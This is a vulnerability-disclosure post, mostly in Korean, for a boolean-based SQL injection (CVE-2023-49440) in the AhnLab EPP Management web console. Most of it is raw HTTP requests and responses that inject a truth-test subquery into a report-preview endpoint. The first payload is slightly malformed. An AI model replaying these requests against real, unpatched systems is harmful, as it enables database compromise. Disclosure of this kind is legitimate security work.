
안랩 EPP Management의 Boolean 기반 SQL 인젝션에 대한 개념 증명(PoC)으로, 원격 코드 실행으로 이어지며, 재현을 위한 요청/응답 예제를 포함합니다.
Exploit Title: ***AhnLab EPP Management(중앙 엔드포인트 보안 관리) - 부울 기반 SQL 인젝션으로 RCE로 이어짐***
Date: 16 July 2023
CVE : CVE-2023-49440
Vendor Homepage: https://www.ahnlab.com/en
Software Link:https://www.ahnlab.com/ko/product/epp-management
Product Review:https://www.gartner.com/reviews/market/endpoint-protection-platforms/compare/product/ahnlab-edr-vs-ahnlab-epp
Reference Link: https://www.cve.org/CVERecord?id=CVE-2023-49440
Vulnerable Version: 1.0.15 and before
Fix Version: 1.0.15 이후 버전 출시 (2023)
***취약점 및 제품 설명***:
AhnLab EPP Management는 패치 관리, 고급 악성코드 탐지, EDR, XDR 기능을 통합하여 기업 엔드포인트 전반에 중앙 집중식 관리, 실시간 모니터링, 정책 제어를 제공하는 글로벌 차세대 고급 엔드포인트 보호 플랫폼입니다. AhnLab EPP Management v1.0.15의 웹 관리 인터페이스에서 부울 기반 및 시간 기반 SQL 인젝션이 발견되었으며, 이로 인해 관리자 권한으로 백엔드 데이터베이스가 완전히 손상되고 제한적인 원격 코드 실행(RCE)이 가능해졌습니다. 여러 엔드포인트가 Preview 매개변수 등 JSON 내의 부울 기반 SQL 인젝션 취약점에 영향을 받았습니다. 영향을 받은 모든 엔드포인트는 v1.0.15 이후 릴리스에서 패치되었으며, 수정 사항은 2023년에 적용되었습니다.
***이는 AhnLab EPP Management의 부울 기반 SQL 인젝션 재현 증명입니다. 그러나 보안상의 이유로 Python PoC는 내년까지 공개하지 않으며, 영향을 받은 버전은 2년 이상 전에 패치되었습니다.***
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: application/json; charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate
Authorization: bearer<Token>
Content-Type: application/json; charset=utf-8
Content-Length: 180
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": 1,
"params": [
"RDB",
"(SELECT CONCAT(CONCAT('apple',(CASE WHEN (1010=1010) THEN '1' ELSE '0' END)),'mango'))" a"
]
},
"data": []
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
content-type: application/json; charset=utf-8
content-length: 135
date: 21 may 2023 11:48:00 GMT
cache-control: no-cache, no-store, no-control
connection: close
{
"error_code": "EPP-00000",
"error_msg": "success",
"revision": 1,
"response": [
{
"report": "[{\"concat\":\"applemango\"}]",
"item_order": 1
}
]
}
POST /api/console/ems/query/report/preview HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Token>
Content-Type: application/json;charset=utf-8
Content-Length: 241
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
{
"request": {
"action": "preview_query_report",
"revision": "1",
"params": [
"RDB",
"1",
"(SELECT CONCAT(CONCAT('apple', (CASE WHEN (1337=1337) THEN '1' ELSE '0' END)), 'mango'))"
]
},
"data": {
"extract_key": "<Key>="
}
}
HTTP/1.1 200
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 181
date: 16 Sept 2023 10:28:10 GMT
cache-control: no-cache,no-store,no-control
connection: close
{
"error_code": "SWU-00027",
"error_msg": "[SWU-00027] Conceal key expired. : \"\\\"extract_key\\\":\\\"<Key>=\\\"\"",
"revision": 1,
"response": [
]
}